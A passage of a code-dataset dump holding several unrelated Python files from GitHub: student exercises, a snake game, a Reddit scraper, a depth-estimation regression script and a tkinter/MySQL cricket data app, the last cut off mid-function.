(key == 'x'):\n self.x = Rectangle.check_function(kwargs[key], key)\n elif (key == 'y'):\n self.y = Rectangle.check_function(kwargs[key], key)\n\n else:\n return\n\n # question 14\n def to_dictionary(self):\n \"\"\"\n to_dictionary:\n - Public method\n - creates a dictionary containing the given attributes\n\n Return: dictionary containing id, width, height, x, y\n \"\"\"\n dict_attr = {\n 'x': self.x,\n 'y': self.y,\n 'id': self.id,\n 'size': self.width\n }\n return (dict_attr)\n","repo_name":"StephenAnthony8/alx-higher_level_programming","sub_path":"0x0C-python-almost_a_circle/models/square.py","file_name":"square.py","file_ext":"py","file_size_in_byte":2692,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"32346745037","text":"#!/usr/bin/python3\n\"\"\"Module to query the Reddit API for a list of hot articles.\"\"\"\nimport requests\n\n\ndef recurse(subreddit, hot_list=[], after=None):\n \"\"\"Recursively returns a list of titles of all hot posts\n for a given subreddit.\n \"\"\"\n headers = {\n \"User-agent\":\n \"Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) \\\n AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 \\\n Mobile Safari/537.36\"\n }\n try:\n if after:\n count = requests.get(\"https://www.reddit.com/r/{}/hot.json?\\\n after={}\".format(subreddit, after),\n headers=headers).json().get(\"data\")\n else:\n count = requests.get(\"https://www.reddit.com/r/{}/hot.json\".format\n (subreddit),\n headers=headers).json().get(\"data\")\n hot_list += [i.get(\"data\").get(\"title\")\n for i in count.get(\"children\")]\n if count.get(\"after\"):\n return recurse(subreddit, hot_list, after=count.get(\"after\"))\n return hot_list\n except Exception:\n return None\n","repo_name":"felixayot/alx-system_engineering-devops","sub_path":"0x16-api_advanced/2-recurse.py","file_name":"2-recurse.py","file_ext":"py","file_size_in_byte":1174,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"33185903816","text":"import pygame\nimport random\n\n# Set up the display\nwidth, height = 640, 480\ndisplay = pygame.display.set_mode((width, height))\npygame.display.set_caption(\"Snake Game\")\n\npygame.init()\n\n# Define colors\nblack = pygame.Color(0, 0, 0)\nwhite = pygame.Color(255, 255, 255)\nred = pygame.Color(255, 0, 0)\n\n# Set up the snake and food\nsnake_position = [100, 50]\nsnake_body = [[100, 50], [90, 50], [80, 50]]\nfood_position = [random.randrange(1, (width // 10)) * 10, random.randrange(1, (height // 10)) * 10]\nfood_spawned = True\n\n# Initial direction\ndirection = 'RIGHT'\nchange_to = direction\n\n# Set up game settings\ngame_over = False\nscore = 0\nclock = pygame.time.Clock()\nsnake_speed = 15\n\n# Function to display score\ndef show_score(choice=1):\n font = pygame.font.SysFont('monaco', 24)\n score_surface = font.render('Score: {}'.format(score), True, white)\n score_rect = score_surface.get_rect()\n if choice == 1:\n score_rect.midtop = (80, 10)\n else:\n score_rect.midtop = (320, 100)\n display.blit(score_surface, score_rect)\n\n# Main game loop\nwhile not game_over:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n game_over = True\n\n # Change the direction of the snake with arrow keys\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_UP and direction != 'DOWN':\n change_to = 'UP'\n if event.key == pygame.K_DOWN and direction != 'UP':\n change_to = 'DOWN'\n if event.key == pygame.K_LEFT and direction != 'RIGHT':\n change_to = 'LEFT'\n if event.key == pygame.K_RIGHT and direction != 'LEFT':\n change_to = 'RIGHT'\n\n # Update the snake's direction\n direction = change_to\n\n # Update the snake's position\n if direction == 'UP':\n snake_position[1] -= 10\n if direction == 'DOWN':\n snake_position[1] += 10\n if direction == 'LEFT':\n snake_position[0] -= 10\n if direction == 'RIGHT':\n snake_position[0] += 10\n\n # Snake body mechanism\n snake_body.insert(0, list(snake_position))\n if snake_position[0] == food_position[0] and snake_position[1] == food_position[1]:\n score += 1\n food_spawned = False\n else:\n snake_body.pop()\n\n # Respawn food\n if not food_spawned:\n food_position = [random.randrange(1, (width // 10)) * 10, random.randrange(1, (height // 10)) * 10]\n food_spawned = True\n\n # Check for game over conditions\n if snake_position[0] < 0 or snake_position[0] > width - 10:\n game_over = True\n if snake_position[1] < 0 or snake_position[1] > height - 10:\n game_over = True\n for block in snake_body[1:]:\n if snake_position[0] == block[0] and snake_position[1] == block[1]:\n game_over = True\n \n # Clear the display\n display.fill(black)\n\n # Draw the snake\n for pos in snake_body:\n pygame.draw.rect(display, white, pygame.Rect(pos[0], pos[1], 10, 10))\n\n # Draw the food\n pygame.draw.rect(display, red, pygame.Rect(food_position[0], food_position[1], 10, 10))\n\n # Show the score\n show_score()\n\n # Refresh the display\n pygame.display.update()\n\n # Frame rate\n clock.tick(snake_speed)\n \npygame.quit()\n\n","repo_name":"EricChiang01/Snake-Game","sub_path":"snake.py","file_name":"snake.py","file_ext":"py","file_size_in_byte":3261,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"6688142294","text":"#!/usr/bin/env python3\n\nimport pandas as pd\nimport numpy as np\n\ndef split_date():\n df = pd.read_csv(\"src/Helsingin_pyorailijamaarat.csv\", sep=\";\")\n df2 = df[\"Päivämäärä\"].str.split(expand=True)\n df2.dropna(inplace=True)\n df2.columns = [\"Weekday\", \"Day\", \"Month\", \"Year\", \"Hour\"]\n df2[\"Hour\"] = df2[\"Hour\"].str.split(\":\", expand=True)[0]\n \n days = dict(zip(\"ma ti ke to pe la su\".split(), \"Mon Tue Wed Thu Fri Sat Sun\".split()))\n months = dict(zip(\"tammi helmi maalis huhti touko kesä heinä elo syys loka marras joulu\".split(), range(1,13)))\n \n df2[\"Weekday\"] = df2[\"Weekday\"].map(days)\n df2[\"Month\"] = df2[\"Month\"].map(months)\n df2 = df2.astype({\"Weekday\": object, \"Day\": int, \"Month\": int, \"Year\": int, \"Hour\": int})\n return df2\n '''\n df = pd.read_csv(\"src/Helsingin_pyorailijamaarat.csv\", sep=\";\")\n df = df[\"Päivämäärä\"] #.map(str)\n df = df.str.split(expand=True)\n df.dropna(inplace=True)\n df.columns = [\"Weekday\", \"Day\", \"Month\", \"Year\", \"Hour\"]\n df[\"Day\"] = df[\"Day\"].map(int)\n df[\"Year\"] = df[\"Year\"].map(int)\n df[\"Hour\"] = df[\"Hour\"].map(str)\n df[\"Hour\"] = df[\"Hour\"].str.split(\":\", expand=True)[0]\n df[\"Hour\"] = df[\"Hour\"].map(int)\n #df[\"Weekday\"].where(lambda x: df[\"Weekday\"]==\"ma\", \"Mon\", inplace=True)\n m = df[\"Weekday\"]==\"ma\"\n df.loc[m, \"Weekday\"] = \"Mon\"\n m = df[\"Weekday\"]==\"ti\"\n df.loc[m, \"Weekday\"] = \"Tue\"\n m = df[\"Weekday\"]==\"ke\"\n df.loc[m, \"Weekday\"] = \"Wed\"\n m = df[\"Weekday\"]==\"to\"\n df.loc[m, \"Weekday\"] = \"Tue\"\n m = df[\"Weekday\"]==\"pe\"\n df.loc[m, \"Weekday\"] = \"Fri\"\n m = df[\"Weekday\"]==\"la\"\n df.loc[m, \"Weekday\"] = \"Sat\"\n m = df[\"Weekday\"]==\"su\"\n df.loc[m, \"Weekday\"] = \"Sun\"\n \n m = df[\"Month\"]==\"tammi\"\n df.loc[m, \"Month\"] = 1\n m = df[\"Month\"]==\"helmi\"\n df.loc[m, \"Month\"] = 2\n m = df[\"Month\"]==\"maalis\"\n df.loc[m, \"Month\"] = 3\n m = df[\"Month\"]==\"huhti\"\n df.loc[m, \"Month\"] = 4\n m = df[\"Month\"]==\"touko\"\n df.loc[m, \"Month\"] = 5\n m = df[\"Month\"]==\"kesä\"\n df.loc[m, \"Month\"] = 6\n m = df[\"Month\"]==\"heinä\"\n df.loc[m, \"Month\"] = 7\n m = df[\"Month\"]==\"elo\"\n df.loc[m, \"Month\"] = 8\n m = df[\"Month\"]==\"syys\"\n df.loc[m, \"Month\"] = 9\n m = df[\"Month\"]==\"loka\"\n df.loc[m, \"Month\"] = 10\n m = df[\"Month\"]==\"marras\"\n df.loc[m, \"Month\"] = 11\n m = df[\"Month\"]==\"joulu\"\n df.loc[m, \"Month\"] = 12\n df[\"Month\"] = df[\"Month\"].map(int)\n return df\n '''\n\ndef main():\n df = split_date()\n print(df)\n \nif __name__ == \"__main__\":\n main()\n","repo_name":"AnkS4/hy-data-analysis-with-python-2020","sub_path":"part04-e16_split_date/src/split_date.py","file_name":"split_date.py","file_ext":"py","file_size_in_byte":2564,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"17635557278","text":"'''\nDescription: \nversion: \nAuthor: Data Designer\nDate: 2021-03-06 20:14:03\nLastEditors: Data Designer\nLastEditTime: 2021-03-06 23:05:46\n'''\n#\n# @lc app=leetcode.cn id=6 lang=python3\n#\n# [6] Z 字形变换\n#\n\n# @lc code=start\nclass Solution:\n def convert(self, s: str, numRows: int) -> str:\n # 先计算有一个矩阵需要多少的数量,构建对应大小的数组\n num = 2 * numRows - 2 # 这个就是一个竖到另一个竖\n\n # 预判特例\n if num ==0:\n if len(s) <=numRows or numRows==1:\n return s\n else:\n dp = [['' for j in range(numRows)] for i in range(numRows)]\n for i in range(numRows):\n dp[i][0] = s[i]\n\n flag = numRows\n flag2 = 1\n for i in range(len(s[numRows:])):\n dp[numRows-1-i-1][flag2] = s[flag]\n flag = flag +1\n flag2 = flag2+1\n numa, numb = len(s)//num ,len(s) % num # 一个是倍数,一个是余数\n # 增加判断,看超过多少\n if numb <= numRows:\n # 多加一列\n dp = [['' for i in range(numa * (numRows-1)+1)] for j in range (numRows)]\n else:\n # 增加好几列\n dp = [['' for i in range(numa * (numRows-1)+numb-numRows+1)] for j in range (numRows)] \n flag = 0 # 标记s指针\n flag2 = 0 # 标记在哪列\n for flag3 in range(numa):\n # 就直接输出numrows个数字\n for j in range(numRows):\n dp[j][flag2] = s[flag]\n flag += 1 \n flag2 += 1\n \n for j in range(numRows-2):\n dp[numRows-1-j-1][flag2] = s[flag]\n flag += 1\n flag2 += 1\n # 最后剩的不满的,就一组\n if numb<=numRows:\n for i in range(len(s[flag:])):\n dp[i][flag2] = s[flag]\n flag = flag+1\n else:\n for i in range(numRows):\n dp[i][flag2] = s[flag]\n flag = flag+1\n flag2 = flag2+1\n for i in range(len(s[flag:])):\n dp[numRows-1-i-1][flag2] = s[flag]\n flag +=1\n flag2+=1\n res = \"\"\n for i in range(len(dp)):\n for j in range(len(dp[0])):\n res = res + dp[i][j]\n return res\n\n\n\n \n# @lc code=end\n\n","repo_name":"Data-Designer/Leetcode-Travel","sub_path":"leetcode/6.z-字形变换.py","file_name":"6.z-字形变换.py","file_ext":"py","file_size_in_byte":2462,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"29049108839","text":"import re\nfrom tkinter import Tk, Listbox, Variable, Scrollbar, Frame, StringVar, messagebox\nfrom tkinter.ttk import Label, Button, Notebook, Entry\nfrom entities.competitor import Competitor\n\nclass CompetitorFormFrame(Frame):\n def __init__(self, master, add_competitor, cnf={}, **kw):\n super().__init__(master=master, cnf={}, **kw)\n self._add_competitor = add_competitor\n self.create_view()\n\n def create_view(self):\n name_label = Label(self, text=\"Name: \")\n self._name_var = StringVar()\n name_input = Entry(self, textvariable=self._name_var)\n\n bib_label = Label(self, text=\"Bib: \")\n self._bib_var = StringVar()\n bib_input = Entry(self, textvariable=self._bib_var)\n\n club_label = Label(self, text=\"Club: \")\n self._club_var = StringVar()\n club_input = Entry(self, textvariable=self._club_var)\n\n add_button = Button(self, text=\"Add\", command=self._submit_form)\n\n name_label.grid(row=0, column=0)\n name_input.grid(row=0, column=1)\n bib_label.grid(row=1, column=0)\n bib_input.grid(row=1, column=1)\n club_label.grid(row=2, column=0)\n club_input.grid(row=2, column=1)\n add_button.grid(row=3, column=0, columnspan=2)\n\n def _submit_form(self):\n name = self._name_var.get()\n bib = self._bib_var.get()\n club = self._club_var.get()\n\n invalid_inputs = []\n if not re.match(\"\\\\S+\", name):\n invalid_inputs.append(\"name\")\n if not re.match(\"^\\\\d+$\", bib):\n invalid_inputs.append(\"bib\")\n if len(invalid_inputs) > 0:\n messagebox.showerror(\"Invalid entry\", \"Please check \" + \" and \".join(invalid_inputs))\n return\n\n competitor = Competitor(name, int(bib), club, None)\n self._add_competitor(competitor)\n\n self._name_var.set(\"\")\n self._bib_var.set(\"\")\n self._club_var.set(\"\")\n","repo_name":"PyryL/ot-harjoitustyo","sub_path":"src/ui/competitor_form.py","file_name":"competitor_form.py","file_ext":"py","file_size_in_byte":1929,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"70792097689","text":"import pandas as pd\nfrom matplotlib import pyplot as plt\nimport config\nimport os\nimport utils\nimport numpy as np\nfrom sklearn.preprocessing import PolynomialFeatures\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.linear_model import Ridge\nfrom sklearn.linear_model import RANSACRegressor\n\ndata = config.config()\n\ndef cal_error_regression(depth_name_list, df_regression):\n reg_depth_error, reg_depth_error_rate, reg_depth_error_rate_avg, reg_depth = utils.melt_to_col(depth_name_list,\n df_regression)\n reg_depth_diff = utils.create_dataframe(reg_depth_error, depth_name_list)\n reg_depth_reg = utils.create_dataframe(reg_depth, depth_name_list)\n df_depth_reg_error_rate = utils.df_to_error_rate_list(reg_depth_reg)\n return reg_depth_diff, df_depth_reg_error_rate\n\n\ndef set_regression(depth_list, depth_name_list, degree=2):\n df_depth_reggresion = pd.DataFrame(depth_list, depth_name_list).T.melt().dropna(axis=0)\n df_feature, poly_leg = utils.poly_feature(df_depth_reggresion['value'].values.reshape(-1, 1), degree)\n lin_reg_2 = LinearRegression()\n # lin_reg_2 = Ridge()\n lin_reg_2.fit(df_feature, df_depth_reggresion['variable'].values)\n utils.write_coef(data.file_manager.save_path, np.array(lin_reg_2.coef_), degree)\n # lin_reg_2 = RANSACRegressor(random_state=0).fit(df_feature, df_depth_reggresion['variable'].values)\n predict_Y = lin_reg_2.predict(poly_leg.fit_transform(df_depth_reggresion['value'].values.reshape(-1, 1)))\n df_depth_reggresion['regression'] = lin_reg_2.predict(\n poly_leg.fit_transform(df_depth_reggresion['value'].values.reshape(-1, 1)))\n return df_depth_reggresion\n\n\ndef boxplot(df_diff, df_rate):\n df_mean = df_diff.T.mean()\n ax = df_diff.T.plot(kind='box')\n ax.plot(ax.get_xticks(), df_mean, color='orange', linewidth=0.5, marker='o', markersize=0.8)\n # for i in range(len(df_rate)):\n # ax.text(ax.get_xticks()[i]-0.15, -1.5, \"{}%\".format(round(df_rate[i], 2)), fontsize=7.5, color='red')\n plt.xlabel('depth(m)')\n plt.ylabel('error(m)')\n plt.grid(True)\n plt.title('average error rate : {}%'.format(round(float(sum(df_rate) / len(df_rate)), 2)))\n plt.show()\n\n\ndef main():\n # select category\n #######\n category = input(\"Select category [box, car, road, person, ground, test] :\")\n if category == 'ground':\n direction_ewns = input(\"Select direction [east, west, north, south] :\")\n #######\n if category == 'ground':\n data.file_manager.path_category_update(category, direction_ewns)\n if not utils.check_exist(data.file_manager.regression_data + os.path.join('/', category)):\n utils.make_folder(data.file_manager.regression_data + os.path.join('/', category))\n else:\n data.file_manager.path_category_update(category)\n if not utils.check_exist(data.file_manager.regression_data + os.path.join('/', category)):\n utils.make_folder(data.file_manager.regression_data + os.path.join('/', category))\n #######\n gt_dist = data.distance.read_gt_distance(utils.read_folder_list(data.file_manager.img_path),\n data.file_manager.gt_distance_path)\n folder_names = gt_dist.keys()\n scale = data.file_manager.scale_num\n degree = data.file_manager.degree_num\n depth_list, bottom_depth_list, depth_name_list, depth_diff, box_coord = utils.load_depth_list(\n data.file_manager.save_path,\n gt_dist, folder_names,\n scale,\n ground=True)\n folder_names_list = list(folder_names)\n selected_dist = folder_names_list[-1]\n data.file_manager.depth_file = utils.rand_img(data.file_manager.depth_path + os.path.join('/', selected_dist))\n selected_dist_path = data.file_manager.depth_path + os.path.join('/', selected_dist, data.file_manager.depth_file)\n selected_depth_list = utils.coord_to_depth(selected_dist_path, box_coord)\n\n # -_-# original #-_-#\n df_depth_regression = set_regression(depth_list, depth_name_list, degree=degree)\n df_reg_diff_ori, df_error_rate_ori = cal_error_regression(depth_name_list, df_depth_regression)\n plt.scatter(df_depth_regression['variable'].values, df_depth_regression['value'].values, c=\"orange\", alpha=0.5)\n boxplot(df_reg_diff_ori, df_error_rate_ori)\n df_depth_regression.to_csv(\n data.file_manager.regression_data + os.path.join('/', category) +\n os.path.join('/', 'regression_original_{}.csv'.format(degree)))\n plt.show()\n\n # -_-# mode #-_-#\n df_depth_mode_list = utils.df_option_to_list(utils.create_dataframe(depth_list, depth_name_list))\n df_depth_mode_regression = set_regression(df_depth_mode_list, depth_name_list)\n df_reg_diff_mode, df_error_rate_mode = cal_error_regression(depth_name_list, df_depth_mode_regression)\n plt.scatter(df_depth_mode_regression['variable'].values, df_depth_mode_regression['value'].values)\n df_depth_mode_regression.to_csv(\n data.file_manager.regression_data + os.path.join('/', category) +\n os.path.join('/', 'regression_mode_{}.csv'.format(degree)))\n boxplot(df_reg_diff_mode, df_error_rate_mode)\n\n # -_-# bottom_line #-_-#\n # df_depth_bottom_list = utils.df_option_to_list(utils.create_dataframe(bottom_depth_list, depth_name_list))\n # df_depth_bottom_regression = set_regression(bottom_depth_list, depth_name_list)\n # df_reg_diff_mode, df_error_rate_mode = cal_error_regression(depth_name_list, df_depth_bottom_regression)\n # plt.scatter(df_depth_bottom_regression['variable'].values, df_depth_bottom_regression['value'].values)\n # df_depth_bottom_regression.to_csv(\n # data.file_manager.regression_data + os.path.join('/', category) +\n # os.path.join('/', 'regression_bottom_line_{}.csv'.format(degree)))\n # boxplot(df_reg_diff_mode, df_error_rate_mode)\n\n # -_-# option plot #-_-#\n df_depth_mode_list = utils.df_option_to_list(utils.create_dataframe(bottom_depth_list, depth_name_list))\n df_depth_avg_list = utils.df_option_to_list(utils.create_dataframe(bottom_depth_list, depth_name_list), 'avg')\n df_depth_median_list = utils.df_option_to_list(utils.create_dataframe(bottom_depth_list, depth_name_list), 'median')\n df_depth_mode_regression = set_regression(df_depth_mode_list, depth_name_list, degree=degree)\n df_depth_avg_regression = set_regression(df_depth_avg_list, depth_name_list, degree=degree)\n df_depth_median_regression = set_regression(df_depth_median_list, depth_name_list, degree=degree)\n plt.scatter(df_depth_bottom_regression['variable'].values, df_depth_bottom_regression['value'].values, c=\"orange\",\n alpha=0.5)\n plt.plot(df_depth_mode_regression['variable'].values, df_depth_mode_regression['value'].values, 'o',\n linestyle='dashed', linewidth=2, markersize=6, alpha=.8)\n plt.plot(df_depth_avg_regression['variable'].values, df_depth_avg_regression['value'].values, 'o',\n linestyle='dashed', linewidth=2, markersize=6, alpha=.8, c=\"red\")\n plt.plot(df_depth_median_regression['variable'].values, df_depth_median_regression['value'].values, 'o',\n linestyle='dashed', linewidth=2, markersize=6, alpha=.8, c=\"green\")\n plt.legend(['mode', 'avg', 'median'])\n plt.grid(True)\n plt.xticks(depth_name_list)\n plt.xlabel('depth(m)')\n plt.ylabel('value')\n plt.show()\n df_reg_diff_mode, df_error_rate_mode = cal_error_regression(depth_name_list, df_depth_mode_regression)\n df_reg_diff_avg, df_error_rate_avg = cal_error_regression(depth_name_list, df_depth_avg_regression)\n df_reg_diff_median, df_error_rate_median = cal_error_regression(depth_name_list, df_depth_median_regression)\n boxplot(df_reg_diff_mode, df_error_rate_mode)\n boxplot(df_reg_diff_avg, df_error_rate_avg)\n boxplot(df_reg_diff_median, df_error_rate_median)\n\n # -_-# scaled #-_-#\n # df_scaled_depth_reggresion = pd.DataFrame(depth_diff, depth_name_list).T.melt().dropna(axis=0)\n # plt.scatter(df_scaled_depth_reggresion['variable'].values, df_scaled_depth_reggresion['value'].values)\n # df_scaled_depth_reggresion['regression'] = df_scaled_depth_reggresion['value']\n # df_reg_diff_scaled, df_error_rate_scaled = cal_error_regression(depth_name_list, df_scaled_depth_reggresion)\n # boxplot(df_reg_diff_scaled, df_error_rate_scaled)\n\n # -_-# degree of polynomial test #-_-#\n # poly_test = []\n # for i in range(1, 10):\n # df_depth_regression = set_regression(bottom_depth_list, depth_name_list, i)\n # df_reg_diff_ori, df_error_rate_ori = cal_error_regression(depth_name_list, df_depth_regression)\n # poly_test.append(round(float(sum(df_error_rate_ori) / len(df_error_rate_ori)), 2))\n # plt.plot(poly_test)\n # plt.title('Evaluation for degree of polynomial')\n # plt.xlabel('degree')\n # plt.ylabel('avg. error(%)')\n # plt.grid(True)\n # plt.show()\n print('done')\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"YoungseokOh/Depth-evaluation","sub_path":"plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":9014,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"14698833173","text":"import unittest\n\nfrom migen.fhdl.std import Module, Signal\nfrom migen.sim.generic import Simulator, TopLevel\n\n\nclass OrCPU(Module):\n\n def __init__(self):\n self.a = Signal()\n self.b = Signal()\n self.x = Signal()\n\n self.comb += self.x.eq(self.a | self.b)\n\n\nclass TestOrCPU(unittest.TestCase):\n\n def setUp(self):\n self.cpu = OrCPU()\n self.sim = Simulator(self.cpu, TopLevel())\n\n def tearDown(self):\n self.sim.close()\n\n def testBasic(self):\n self.sim.wr(self.cpu.a, 0)\n self.sim.wr(self.cpu.b, 0)\n self.sim.run(1)\n self.assertEqual(self.sim.rd(self.cpu.x), 0)\n self.sim.wr(self.cpu.a, 1)\n self.sim.run(1)\n self.assertEqual(self.sim.rd(self.cpu.x), 1)\n self.sim.wr(self.cpu.b, 1)\n self.sim.run(1)\n self.assertEqual(self.sim.rd(self.cpu.x), 1)\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"thisoldprocessor/thisoldprocessor","sub_path":"issue_1/examples/or_cpu.py","file_name":"or_cpu.py","file_ext":"py","file_size_in_byte":918,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"38698617739","text":"from tkinter import *\nfrom tkinter import ttk\nimport csv\nimport os\nfrom tkinter import simpledialog\nfrom tkinter import messagebox\nimport numpy as np\nimport pandas as pd\nfrom sklearn.linear_model import LinearRegression\nimport matplotlib.pyplot as plt\nimport mysql.connector\nmydb = mysql.connector.connect(host = 'localhost',\n user = 'root',\n password = '123456',\n database = 'MyApp')\ncur = mydb.cursor()\nclass MinimumOversError(Exception):\n pass\nroot = Tk()\nroot.title('Login')\nroot.geometry('980x540+300+200')\nroot.configure(bg = '#fff')\nroot.resizable(False,False)\nimg = PhotoImage(file = 'NameLogo1.png')\nimg_label = Label(root,image = img , bg = 'white')\nimg_label.place(x = 20, y = 65)\ncurrTable = 'match_1'\nframe = Frame(root,width = 990 , height = 375,bg = 'white')\nframe.place(x = 520 , y = 55)\n# frame = Frame(root, width=root.winfo_width(), height=root.winfo_height(), bg='red')\n# frame.place(x = 520 , y = 55)\nheading = Label(frame, text = 'Sign In',fg='Black' , bg = 'white', font = ('Microsoft YaHei UI Light',25,'bold'))\nheading.place(x = 150, y = 7)\n\ndef get_treeview_data(tree):\n overs = []\n runs = []\n\n for row_id in tree.get_children():\n row_data = tree.item(row_id)['values']\n overs.append(row_data[0])\n runs.append(row_data[1])\n dat = list(zip(overs, runs))\n\n \n try:\n with open('output.csv', 'x', newline='') as File:\n writer = csv.writer(File)\n writer.writerow(['overs', 'runs'])\n writer.writerows(dat)\n except FileExistsError:\n # Handle the case when the file already exists\n print(\"File 'output.csv' already exists. Skipping writing to the file.\")\n except Exception as e:\n # Handle other exceptions\n print(f\"An error occurred: {e}\")\n\n\n\n\ndef show_welcome_frame(user):\n \n # img_label.config(state = 'disabled')\n img_label.destroy()\n\n # Create a new window or frame for the welcome message\n welcome_frame = Frame(root, width=800, height=240, bg='white')\n welcome_frame.place(x=260, y=20)\n\n welcome_label = Label(welcome_frame, text=f'Welcome {user.title()}', fg='Black', bg='white',\n font=('Microsoft YaHei UI Light', 24, 'bold'))\n welcome_label.place(x=20, y=1)\n sidebar = Frame(root, height = 900 , width = 210, bg = 'white')\n sidebar.place(x = 1 , y = 5)\n\n data_frame = Frame(root, width = 300 , height = 500 , bg = 'white')\n data_frame.place(x = 330 , y = 130)\n\n rightbar = Frame(root, height = 900 , width = 210, bg = 'white')\n rightbar.place(x = 800 , y = 1)\n\n # * Label ~ Table Name\n tableName = 'Match_1'\n tname = Label(text = f'Table Name : {tableName}' , width = 25 , height = 2 , fg = 'black' , bg = 'white' , font=('Microsoft YaHei UI Light', 12, 'bold'))\n tname.place(x = 350 , y = 70)\n\n # * ------------------- some important functions -------------\n def update_table_data(table_name):\n # * Clear existing items in the tree\n for item in tree.get_children():\n tree.delete(item)\n\n over_data = f'SELECT * FROM {table_name}'\n cur.execute(over_data)\n res = cur.fetchall()\n\n for row in res:\n tree.insert('', 'end', values=row)\n \n \n def open_new_window():\n new_window = Toplevel(root)\n new_window.title('Select Table')\n new_window.geometry(f\"{root.winfo_width()}x{root.winfo_height()}+{root.winfo_x()}+{root.winfo_y()}\")\n\n table_list_label = Label(new_window, text='Select a Table:', font=('Microsoft YaHei UI Light', 12, 'bold'))\n table_list_label.pack(pady=10)\n\n # Fetch table names that start with 'match'\n cur.execute(\"SHOW TABLES LIKE 'match%'\")\n tables = cur.fetchall()\n\n def use_table(table_name):\n global currTable\n tname.config(text=f'Table Name: {table_name}')\n currTable = table_name # ! to store the current table name\n update_table_data(table_name)\n new_window.destroy()\n\n for table in tables:\n table_name = table[0]\n use_button = Button(new_window, text=f'{table_name}', padx = 10, pady = 10,command=lambda tn=table_name: use_table(tn))\n use_button.pack()\n\n\n # * ~~~~~~~~~~~ when add data is pressed :\n \n def add_data_window():\n new_window = Toplevel(root)\n new_window.title('Enter Data')\n new_window.geometry(f\"{root.winfo_width()}x{root.winfo_height()}+{root.winfo_x()}+{root.winfo_y()}\")\n\n table_list_label = Label(new_window, text='Enter Data:', font=('Microsoft YaHei UI Light', 12, 'bold'))\n table_list_label.grid(row=0, column=0, pady=10, columnspan=2) # Use grid here\n\n data_entries = [] # List to store Entry widgets\n\n # todo - Sample data, replace it with your actual data\n data = [(1, 10), (2, 15), (3, 8), (4, 20), (5, 12), (6, 18), (7, 25), (8, 16), (9, 22)]\n\n for i, (over, runs) in enumerate(data):\n Label(new_window, text=f'Over {over}:').grid(row=i + 1, column=0, padx=5, pady=5)\n entry = Entry(new_window, width=10)\n entry.insert(0, runs)\n entry.grid(row=i + 1, column=1, padx=5, pady=5)\n data_entries.append(entry)\n\n def okay_button_action():\n # Retrieve entered data from Entry widgets\n entered_data = []\n\n for entry in data_entries:\n try:\n value = int(entry.get())\n entered_data.append(value)\n except ValueError:\n messagebox.showerror(\"Error\", \"Please enter valid integers for runs.\")\n return\n\n # Check if the number of overs is at least 5\n if len(entered_data) < 5:\n messagebox.showerror(\"Error\", \"Cannot input less than 5 overs. Please enter at least 5 overs.\")\n new_window.destroy()\n raise MinimumOversError(\"Cannot input less than 5 overs. Please enter at least 5 overs.\")\n\n # Ask for the number of overs to fill\n try:\n num_overs_to_fill = simpledialog.askinteger(\"Input\", \"Enter the number of overs to fill:\", minvalue=5)\n except TclError:\n num_overs_to_fill = None\n\n # Check if the number of overs to fill is valid\n if num_overs_to_fill is None or num_overs_to_fill < 5:\n messagebox.showerror(\"Error\", \"Invalid number of overs to fill. Please enter a number greater than or equal to 5.\")\n new_window.destroy()\n raise MinimumOversError(\"Invalid number of overs to fill. Please enter a number greater than or equal to 5.\")\n\n # Insert the entered data into the table\n insert_data_query = f\"INSERT INTO {currTable} (Runs) VALUES (%s)\"\n cur.executemany(insert_data_query, [(run,) for run in entered_data])\n mydb.commit()\n\n # Update the table in the main window\n update_table_data(currTable)\n\n new_window.destroy() # Close the Toplevel window\n\n okay_button = Button(new_window, text='Okay', command=okay_button_action)\n okay_button.grid(row=len(data) + 1, column=0, columnspan=2, pady=10) # setting the okay button bellow the data list\n\n\n def update_data_window():\n new_window = Toplevel(root)\n new_window.title('Update Data')\n new_window.geometry(f\"{root.winfo_width()}x{root.winfo_height()}+{root.winfo_x()}+{root.winfo_y()}\")\n\n table_list_label = Label(new_window, text='Update Data:', font=('Microsoft YaHei UI Light', 12, 'bold'))\n table_list_label.grid(row=0, column=0, pady=10, columnspan=2) # Use grid here\n\n data_entries = [] # List to store Entry widgets\n\n # Get the current data from the database\n over_data = f'SELECT * FROM {currTable}'\n cur.execute(over_data)\n res = cur.fetchall()\n\n for i, row in enumerate(res):\n over, runs = row\n Label(new_window, text=f'Over {over}:').grid(row=i + 1, column=0, padx=5, pady=5)\n entry = Entry(new_window, width=10)\n entry.insert(0, runs)\n entry.grid(row=i + 1, column=1, padx=5, pady=5)\n data_entries.append(entry)\n\n def okay_button_action():\n # Retrieve entered data from Entry widgets\n entered_data = []\n\n for entry in data_entries:\n try:\n value = int(entry.get())\n entered_data.append(value)\n except ValueError:\n messagebox.showerror(\"Error\", \"Please enter valid integers for runs.\")\n return\n\n # Check if the number of overs is at least 5\n if len(entered_data) < 5:\n messagebox.showerror(\"Error\", \"Cannot update less than 5 overs. Please update at least 5 overs.\")\n new_window.destroy()\n raise MinimumOversError(\"Cannot update less than 5 overs. Please update at least 5 overs.\")\n\n # Update the entered data in the table\n update_data_query = f\"UPDATE {currTable} SET Runs = %s WHERE Overs = %s\"\n cur.executemany(update_data_query, [(run, over + 1) for over, run in enumerate(entered_data)])\n mydb.commit()\n\n # Update the table in the main window\n update_table_data(currTable)\n\n new_window.destroy() # Close the Toplevel window\n\n okay_button = Button(new_window, text='Okay', 